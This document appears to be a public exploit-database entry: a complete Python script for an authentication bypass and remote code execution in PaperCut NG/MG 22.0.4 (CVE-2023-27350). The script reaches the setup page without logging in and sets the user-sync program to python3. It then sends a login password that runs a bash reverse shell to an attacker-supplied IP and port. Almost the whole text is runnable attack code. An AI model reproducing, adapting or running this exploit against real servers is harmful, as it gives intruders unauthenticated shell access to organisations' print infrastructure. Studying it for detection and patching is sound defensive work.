Exploit for PaperCut NG/MG 22.0.4 Remote Code Execution CVE-2023-27350

## https://sploitus.com/exploit?id=PACKETSTORM:172512
# Exploit Title: PaperCut NG/MG 22.0.4 - Remote Code Execution (RCE)  
# Date: 13 May 2023  
# Exploit Author: Mohin Paramasivam (Shad0wQu35t) and MaanVader  
# Vendor Homepage: https://www.papercut.com/  
# Version: 8.0 or later  
# Tested on: 22.0.4  
# CVE: CVE-2023-27350  
  
  
import requests  
import argparse  
  
Group_payload = {  
"service":"direct/1/OptionsUserSync/$OptionsUserSource.$Form",  
"sp":"S0",  
"Form0":"$Hidden,$Hidden$0,$Hidden$1,$PropertySelection,$Hidden$2,$Hidden$3,$Hidden$4,$Hidden$5,$Hidden$6,$Hidden$7,$Hidden$8,$Hidden$9,$Hidden$10,$Hidden$11,$Hidden$12,$Hidden$13,$Hidden$14,$TextField,$TextField$0,$RadioGroup,$Submit,$Checkbox$2,primaryCardIdLength,$Checkbox$3,secondaryCardIdLength,$Checkbox$5,$Hidden$15,$Hidden$16,$Hidden$17,$Hidden$18,$Hidden$19,$Hidden$20,$Hidden$21,$PropertySelection$4,$TextField$13,$Checkbox$6,$TextField$14,$TextField$15,$TextField$16,$RadioGroup$0,$Submit$1,$PropertySelection$5,$TextField$17,$PropertySelection$6,$TextField$18,primaryCardId2Length,$PropertySelection$7,$TextField$19,secondaryCardId2Length,$Checkbox$7,$TextField$20,$Checkbox$8,$Checkbox$9,$Checkbox$10,$Submit$2,$Submit$3,$Submit$4,$Submit$5",  
"$Hidden":"Sf278fd737ffcaed6eb3d1f67c2ba5c6d",  
"$Hidden$0":"F",  
"$Hidden$1":"F",  
"$Hidden$2":"OH4sIAAAAAAAAAJWQwUrDQBCGp60VBBUp4lWRnncRPIjSg4iHwrYNpBU8xXW7JitJdp1sis2hF5_BlxBP-lw-gF50Y2Mp6MW5DTP_fP8_z2_QzBDotSqI4UaiyC0xIg1JJnGihCQDY5VOs5HrfZ2jkMOpkVeHny8bD8VeHVa6sBYYVBqVnTLYCnhuIw91iDzxuI0stNgtn3Aa8zSkvkWVhies1MTc3mhMLBwzR6c_dFrSaUWnf9LbXqV1h3aCfDFbwt7BDGr3CO3fwXKrYsK04LEq5Pg8zZPex26j87i-XQdwkn2NIeGGi0gSoZPE4Ulpnki3mpFS8N556r4eXBR1qDFoqj5P5BxoLKyejfzhoAcAYzNDOPrnZxfZoKrWt6nN8odzG6WB5aFjNk77l-YLeZfbs8sBAAA.",  
"$Hidden$3":"F",  
"$Hidden$4":"X",  
"$Hidden$5":"X",  
"$Hidden$6":"X",  
"$Hidden$7":"X",  
"$Hidden$8":"X",  
"$Hidden$9":"X",  
"$Hidden$10":"X",  
"$Hidden$11":"X",  
"$Hidden$12":"X",  
"$Hidden$13":"F",  
"$Hidden$14":"X",  
"$Hidden$15":"F",  
"$Hidden$16":"S",  
"$Hidden$17":"S",  
"$Hidden$18":"S",  
"$Hidden$19":"S",  
"$Hidden$20":"F",  
"$Hidden$21":"SSTANDARD_UNIX",  
"$PropertySelection":"3,CUSTOM",  
"$TextField":"/usr/bin/python3",  
"$TextField$0":"/usr/bin/python3",  
"$RadioGroup":"0",  
"primaryCardIdLength":"8",  
"secondaryCardIdLength":"8",  
"$PropertySelection$4":"0,STANDARD_UNIX",  
"$TextField$13":"",  
"$TextField$14":"",  
"$TextField$15":"",  
"$TextField$16":"",  
"$RadioGroup$0":"0",  
"$PropertySelection$5":"NONE",  
"$TextField$17":"",  
"$PropertySelection$6":"NONE",  
"$TextField$18":"employeeNumber",  
"primaryCardId2Length":"8",  
"$PropertySelection$7":"NONE",  
"$TextField$19":"",  
"secondaryCardId2Length":"8",  
"$TextField$20":"",  
"$Submit$4":"Apply"  
  
}  
  
  
parser = argparse.ArgumentParser(description="Papercut RCE")  
parser.add_argument('--url',help='Url of the vunerable application example http://10.2.3.4:9191 dont need the trailing /')  
parser.add_argument('--ip',help='our rev shell ip')  
parser.add_argument('--port',help='our rev shell port')  
args = parser.parse_args()  
  
url = args.url  
ip = args.ip  
port = args.port  
  
passwd_input = f"import os;os.system(\"/bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'\")"  
  
final_payload = {  
"service":"direct/1/Home/$Form$0",  
"sp":"S0",  
"Form0":"$Hidden$0,$Hidden$1,inputUsername,inputPassword,$PropertySelection$0,$Submit$0",  
"$Hidden$0":"true",  
"$Hidden$1":"X",  
"inputUsername":"help",  
"inputPassword":passwd_input,  
"$PropertySelection$0":"en",  
"$Submit$0":"Log+in"  
}  
  
# create a session  
session = requests.Session()  
  
# visit the first URL to set up the session  
setup_url = url+"/app?service=page/SetupCompleted"  
response = session.get(setup_url)  
response.raise_for_status() # check for any errors  
  
# visit the second URL using the same session  
dashboard_url = url+"/app?service=page/Dashboard"  
response = session.get(dashboard_url)  
response.raise_for_status() # check for any errors  
  
# URL to change user group  
user_group_change_url = url+"/app"  
response = session.post(user_group_change_url,data=Group_payload)  
response.raise_for_status() # check for errors  
  
# URL to gain RCE  
rce_url = url+"/app"  
response = session.post(rce_url,data=final_payload)  
response.raise_for_status() # Check for any errors  
  
  
# print the response text  
print(response.text)